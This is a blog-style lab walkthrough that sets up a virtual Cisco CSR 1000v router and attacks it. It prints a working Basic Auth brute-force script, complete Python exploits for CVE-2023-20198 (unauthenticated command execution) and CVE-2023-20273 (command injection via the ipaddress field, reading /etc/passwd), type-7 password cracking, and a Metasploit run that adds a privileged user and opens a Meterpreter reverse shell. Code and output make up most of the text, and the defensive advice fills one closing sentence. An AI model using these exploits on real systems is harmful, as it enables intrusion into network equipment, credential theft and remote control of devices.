Exploiting IOS-XE

Cisco IOS-XE is a version of Cisco’s Internetwork Operating System (IOS) that runs on Linux. IOS-XE can be used on both routers and switches.

In this article, we will be setting up a virtual Cloud Services Router 1000v (CSR 1000v), and exploiting it.


Configuring the Router

We can use VirtualBox to create a virtual router. Configure the virtual machine with the following parameters;

  • The operating system set to Debian (64-bit)
  • 16 GB of RAM
  • At least one virtio-net network adapter is attached, and set to bridged
  • Use ISO image csr1000v-universalk9.16.09.07.iso supplied by Cisco

When this boots, it should receive a DHCP address automatically. Next, configure the router to ensure the SSH and HTTPS administrative interfaces are enabled, and CDP is active on the network interface.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
service config
service timestamps debug datetime msec
service timestamps log datetime msec
service password-encryption
platform qfp utilization monitor load 80
platform punt-keepalive disable-kernel-core
platform console virtual
hostname ciscoxe
boot-start-marker
boot-end-marker
enable password 7 104D000A0618
aaa new-model
aaa session-id common
ip domain name bordergate.local
login on-success log
subscriber templating
multilink bundle-name authenticated
crypto pki trustpoint TP-self-signed-3345638089
 enrollment selfsigned
 subject-name cn=IOS-Self-Signed-Certificate-3345638089
 revocation-check none
 rsakeypair TP-self-signed-3345638089
crypto pki certificate chain TP-self-signed-3345638089
 certificate self-signed 01
  30820330 30820218 A0030201 02020101 300D0609 2A864886 F70D0101 05050030
<SNIP>
    quit
license udi pid CSR1000V sn 97KULB7322G
no license smart enable
diagnostic bootup level minimal
spanning-tree extend system-id
username cisco password 7 14141B180F0B
redundancy
cdp run
interface GigabitEthernet1
 ip address dhcp
 negotiation auto
 cdp enable
 no mop enabled
 no mop sysid
ip forward-protocol nd
ip http server
ip http authentication local
ip http secure-server
ip http client source-interface GigabitEthernet1
ip ssh time-out 60
ip ssh authentication-retries 5
control-plane
line con 0
 stopbits 1
line vty 0 4
 transport input ssh
end

Software Version Enumeration

CDP packets sent from the device can be used to identify the software version in use.

1
2
3
4
5
6
7
sudo tshark -i eth0 -a duration:30 -V -f "ether host 01:00:0c:cc:cc:cc" -c 2 | grep -e "IP Address" -e "Device ID:" -e "Software version: Cisco IOS Software" -e "Port ID:"                  
Capturing on 'eth0'
    Device ID: ciscoxe.bordergate.local
        Device ID: ciscoxe.bordergate.local
        Software version: Cisco IOS Software [Fuji], Virtual XE Software (X86_64_LINUX_IOSD-UNIVERSALK9-M), Version 16.9.7, RELEASE SOFTWARE (fc1)
            IP Address: 192.168.1.171
    Port ID: GigabitEthernet1

Web Interface Brute Force

The web interface just uses Basic Authentication which can easily be brute forced using some Python code.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests
from requests.auth import HTTPBasicAuth
import urllib3
import argparse
import sys
 
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
 
parser = argparse.ArgumentParser(description="Cisco Web UI brute force")
parser.add_argument("url", help="Target URL (e.g. https://192.168.1.171/webui/index.html)")
parser.add_argument("username", help="Username to use for authentication")
parser.add_argument("password_file", help="Path to password list file")
 
args = parser.parse_args()
 
try:
    with open(args.password_file, "r") as f:
        passwords = [line.strip() for line in f if line.strip()]
except Exception as e:
    print(f"Error reading password file: {e}")
    sys.exit(1)
 
for pwd in passwords:
    print(f"[/] Trying password: {pwd}")
    try:
        res = requests.get(args.url, verify=False, auth=HTTPBasicAuth(args.username, pwd), timeout=5)
         
        if "Wrong Credentials" not in res.text:
            print(f"\n[+] Success! Password found: {pwd}")
            print(f"Status Code: {res.status_code}")
            break
        else:
            print("[-] Incorrect password.")
    except requests.RequestException as e:
        print(f"[-] Request failed: {e}")
 
else:
    print("\n[-] None of the passwords worked.")

Running the script will identify default passwords.

1
2
3
4
5
6
7
8
9
10
11
12
13
python3 cisco_brute.py https://192.168.1.171/webui/index.html cisco /home/kali/passwords.txt
[/] Trying password: admin
[-] Incorrect password.
[/] Trying password: test
[-] Incorrect password.
[/] Trying password: password
[-] Incorrect password.
[/] Trying password: Password1
[-] Incorrect password.
[/] Trying password: cisco
 
[+] Success! Password found: cisco
Status Code: 200

By default, the web interface will only allow us to see basic performance metrics.


CVE-2023-20198

Cisco consider CVE-2023-20198 a critical vulnerability. By sending a specially crafted SOAP message, we can execute arbitrary commands on the router without authentication.

In this instance, we are using Python to send a “show run” command to the device, although this could also be used to add additional user accounts to the device. This exploit works up to IOS-XE version 17.12.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import requests
import urllib3
import argparse
 
#####################################################################################
# ██████╗░░█████╗░██████╗░██████╗░███████╗██████╗░░██████╗░░█████╗░████████╗███████╗#
# ██╔══██╗██╔══██╗██╔══██╗██╔══██╗██╔════╝██╔══██╗██╔════╝░██╔══██╗╚══██╔══╝██╔════╝#
# ██████╦╝██║░░██║██████╔╝██║░░██║█████╗░░██████╔╝██║░░██╗░███████║░░░██║░░░█████╗░░#
# ██╔══██╗██║░░██║██╔══██╗██║░░██║██╔══╝░░██╔══██╗██║░░╚██╗██╔══██║░░░██║░░░██╔══╝░░#
# ██████╦╝╚█████╔╝██║░░██║██████╔╝███████╗██║░░██║╚██████╔╝██║░░██║░░░██║░░░███████╗#
# ╚═════╝░░╚════╝░╚═╝░░╚═╝╚═════╝░╚══════╝╚═╝░░╚═╝░╚═════╝░╚═╝░░╚═╝░░░╚═╝░░░╚══════╝#
#####################################################################################
#                              IOS-XE CVE-2023-20198                                #
#####################################################################################
 
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
 
parser = argparse.ArgumentParser(description="Exploit CVE-2023-20198")
parser.add_argument("host", help="Target IP or hostname (e.g., 192.168.1.171)")
args = parser.parse_args()
 
url = f"https://{args.host}/%2577ebui_wsma_https"
 
headers = {
    "Host": args.host,
    "Content-Type": "application/x-www-form-urlencoded",
    "Connection": "keep-alive"
}
 
soap_body = """<?xml version="1.0"?>
<SOAP:Envelope xmlns:SOAP="http://schemas.xmlsoap.org/soap/envelope/"
               xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
               xmlns:xsd="http://www.w3.org/2001/XMLSchema"
               xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <SOAP:Header>
    <wsse:Security xmlns:wsse="http://schemas.xmlsoap.org/ws/2002/04/secext">
      <wsse:UsernameToken SOAP:mustUnderstand="false">
        <wsse:Username>vty0</wsse:Username>
        <wsse:Password>*****</wsse:Password>
      </wsse:UsernameToken>
    </wsse:Security>
  </SOAP:Header>
  <SOAP:Body>
    <request correlator="BmNLXPsO" xmlns="urn:cisco:wsma-config">
      <configApply details="all" action-on-fail="continue">
        <config-data>
          <cli-config-data-block><![CDATA[exit
show run]]></cli-config-data-block>
        </config-data>
      </configApply>
    </request>
  </SOAP:Body>
</SOAP:Envelope>"""
 
try:
    response = requests.post(url, headers=headers, data=soap_body, verify=False, timeout=10)
    print("Status Code:", response.status_code)
    print("Response Body:\n", response.text)
except requests.RequestException as e:
    print("Request failed:", e)

Running the exploit provides us with the show run output.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
python3 cisco_cve_2023_20198.py 192.168.1.171
Status Code: 200
Response Body:
 &lt;?xml version="1.0" encoding="UTF-8"?>&lt;SOAP:Envelope xmlns:SOAP="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">&lt;SOAP:Body>&lt;response xmlns="urn:cisco:wsma-config" correlator="BmNLXPsO" success="1">&lt;resultEntry lineNumber="1" cliString="exit">&lt;success change="NO_CHANGE" mode="IMMEDIATE" />&lt;/resultEntry>&lt;resultEntry lineNumber="2" cliString="show run">&lt;invalid />&lt;text>
**CLI Line # 2: Building configuration...
**CLI Line # 2: Current configuration : 3500 bytes
**CLI Line # 2: !
**CLI Line # 2: ! Last configuration change at 09:53:29 UTC Sat May 3 2025 by vty0
**CLI Line # 2: !
**CLI Line # 2: version 16.9
**CLI Line # 2: service config
**CLI Line # 2: service timestamps debug datetime msec
**CLI Line # 2: service timestamps log datetime msec
**CLI Line # 2: service password-encryption
**CLI Line # 2: platform qfp utilization monitor load 80
**CLI Line # 2: platform punt-keepalive disable-kernel-core
**CLI Line # 2: platform console virtual
**CLI Line # 2: !
**CLI Line # 2: hostname ciscoxe
**CLI Line # 2: !
**CLI Line # 2: boot-start-marker
**CLI Line # 2: boot-end-marker
**CLI Line # 2: !
**CLI Line # 2: !
**CLI Line # 2: enable password 7 104D000A0618
**CLI Line # 2: !
**CLI Line # 2: aaa new-model
**CLI Line # 2: aaa session-id common
**CLI Line # 2: ip domain name bordergate.local
**CLI Line # 2: login on-success log
**CLI Line # 2: subscriber templating
**CLI Line # 2: multilink bundle-name authenticated
**CLI Line # 2: crypto pki trustpoint TP-self-signed-3345638089
**CLI Line # 2:  enrollment selfsigned
**CLI Line # 2:  subject-name cn=IOS-Self-Signed-Certificate-3345638089
**CLI Line # 2:  revocation-check none
**CLI Line # 2:  rsakeypair TP-self-signed-3345638089
**CLI Line # 2: crypto pki certificate chain TP-self-signed-3345638089
**CLI Line # 2:  certificate self-signed 01
**CLI Line # 2:   30820330 30820218 A0030201 02020101 300D0609 2A864886 F70D0101 05050030
**CLI Line # 2:   31312F30 2D060355 04031326 494F532D 53656C66 2D536967 6E65642D 43657274
**CLI Line # 2:         quit
**CLI Line # 2: license udi pid CSR1000V sn 97KULB7322G
**CLI Line # 2: no license smart enable
**CLI Line # 2: diagnostic bootup level minimal
**CLI Line # 2: !
**CLI Line # 2: spanning-tree extend system-id
**CLI Line # 2: !
**CLI Line # 2: username cisco password 7 14141B180F0B
**CLI Line # 2: !
**CLI Line # 2: redundancy
**CLI Line # 2: cdp run
**CLI Line # 2: interface GigabitEthernet1
**CLI Line # 2:  ip address dhcp
**CLI Line # 2:  negotiation auto
**CLI Line # 2:  cdp enable
**CLI Line # 2:  no mop enabled
**CLI Line # 2:  no mop sysid
**CLI Line # 2: !
**CLI Line # 2: ip forward-protocol nd
**CLI Line # 2: ip http server
**CLI Line # 2: ip http authentication local
**CLI Line # 2: ip http secure-server
**CLI Line # 2: ip http client source-interface GigabitEthernet1
**CLI Line # 2: !
**CLI Line # 2: ip ssh time-out 60
**CLI Line # 2: ip ssh authentication-retries 5
**CLI Line # 2: control-plane
**CLI Line # 2: line con 0
**CLI Line # 2:  stopbits 1
**CLI Line # 2: line vty 0 4
**CLI Line # 2:  transport input ssh
&lt;/text>&lt;/resultEntry>&lt;/response>&lt;/SOAP:Body>&lt;/SOAP:Envelope>

We can then use cisco7crack to decode the type 7 passwords.

1
2
3
cisco7crack 14141B180F0B
Encrypted string : 14141B180F0B
Plain string     : cisco

CVE-2023-20273

CVE-2023-20273 allows you to get a Linux shell access to a device. It requires authentication credentials, although those can be added using the previous exploit. Although this should support earlier versions of IOS-XE, I didn’t have much luck on 16.09, so switched to 17.03 (csr1000v-universalk9.17.03.04a.iso).

The below Python script exploits this vulnerability (using hard-coded credentials cisco:cisco).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import requests
import argparse
import urllib3
import random
import string
import base64
 
 
#####################################################################################
# ██████╗░░█████╗░██████╗░██████╗░███████╗██████╗░░██████╗░░█████╗░████████╗███████╗#
# ██╔══██╗██╔══██╗██╔══██╗██╔══██╗██╔════╝██╔══██╗██╔════╝░██╔══██╗╚══██╔══╝██╔════╝#
# ██████╦╝██║░░██║██████╔╝██║░░██║█████╗░░██████╔╝██║░░██╗░███████║░░░██║░░░█████╗░░#
# ██╔══██╗██║░░██║██╔══██╗██║░░██║██╔══╝░░██╔══██╗██║░░╚██╗██╔══██║░░░██║░░░██╔══╝░░#
# ██████╦╝╚█████╔╝██║░░██║██████╔╝███████╗██║░░██║╚██████╔╝██║░░██║░░░██║░░░███████╗#
# ╚═════╝░░╚════╝░╚═╝░░╚═╝╚═════╝░╚══════╝╚═╝░░╚═╝░╚═════╝░╚═╝░░╚═╝░░░╚═╝░░░╚══════╝#
#####################################################################################
#                              IOS-XE CVE-2023-20273                                #
#####################################################################################
 
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
 
def generate_random_filename(length=8):
    return ''.join(random.choices(string.ascii_letters, k=length))
 
parser = argparse.ArgumentParser(description="Exploit CVE-2023-20273")
parser.add_argument("host", help="Target IP or hostname (e.g., 192.168.1.172)")
args = parser.parse_args()
 
command = 'cat /etc/passwd'
b64command = base64.b64encode(command.encode()).decode()
 
base_url = f"https://{args.host}"
filename = generate_random_filename()
headers_common = {
    "Authorization": "Basic Y2lzY286Y2lzY28=",
    "Connection": "keep-alive"
}
 
# === REQUEST 1 ===
post_url = f"{base_url}/webui/rest/softwareMgmt/installAdd"
headers_post = headers_common.copy()
headers_post["Content-Type"] = "application/x-www-form-urlencoded"
 
post_data = f"""
{{
  "installMethod": "tftp",
  "mode": "tftp",
  "ipaddress": "472f:d39a:0f4f:$($(openssl enc -base64 -d <<< {b64command}) &> /var/www/{filename})",
  "operation_type": "SMU",
  "filePath": "ZMqIqcNx",
  "fileSystem": "flash:"
}}
""".strip()
 
try:
    print("Sending POST request...")
    post_resp = requests.post(post_url, headers=headers_post, data=post_data, verify=False, timeout=10)
    print("POST Response Status:", post_resp.status_code)
    print("POST Response Body:\n", post_resp.text)
except requests.RequestException as e:
    print("POST request failed:", e)
 
# === REQUEST 2 ===
get_url = f"{base_url}/webui/{filename}"
 
try:
    print(f"\nSending GET request to /webui/{filename} ...")
    get_resp = requests.get(get_url, headers=headers_common, verify=False, timeout=10)
    print("GET Response Status:", get_resp.status_code)
    print("GET Response Body:\n", get_resp.text)
except requests.RequestException as e:
    print("GET request failed:", e)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
python3 cisco_cve_2023_20273.py 192.168.1.172
Sending POST request...
POST Response Status: 200
POST Response Body:
  
 
Sending GET request to /webui/ycGBbBzo ...
GET Response Status: 200
GET Response Body:
 root:*:0:0:root:/root:/bin/bash
binos:x:85:85:binos administrative user:/usr/binos/conf:/usr/binos/conf/bshell.sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
messagebus:x:998:997::/var/lib/dbus:/bin/false
avahi:x:997:996::/var/run/avahi-daemon:/bin/false
avahi-autoipd:x:996:995:Avahi autoip daemon:/var/run/avahi-autoipd:/bin/false
guestshell:!:1000:1000::/home/guestshell:
dockeruser:*:1000000:65536:Dockeruser:/:/sbin/nologin

Metasploit

Both of the previous exploits are available in Metasploit, and can be executed together using the cisco_ios_xe_rce module.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set RHOSTS 192.168.1.172
RHOSTS => 192.168.1.172
msf6 exploit(linux/misc/cisco_ios_xe_rce) > run
[*] Started reverse TCP handler on 192.168.1.192:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Cisco IOS XE Software, Version 17.03.04a
[*] Created privilege 15 user 'ziXrKJyi' with password 'oPDgLdxC'
[*] Removing user 'ziXrKJyi'
[*] Sending stage (3045380 bytes) to 192.168.1.172
 
[*] Meterpreter session 1 opened (192.168.1.192:4444 -> 192.168.1.172:56668) at 2025-05-03 11:33:28 +0100
 
meterpreter >
meterpreter > sysinfo
Computer     : Router
OS           :  (Linux 4.19.184)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >

In Conclusion

Although the exploits discussed in this article are a few years old now, in my experience networking equipment software doesn’t get frequently upgraded. I would recommend restricting access to the administrative interfaces of networking equipment to prevent similar vulnerabilities.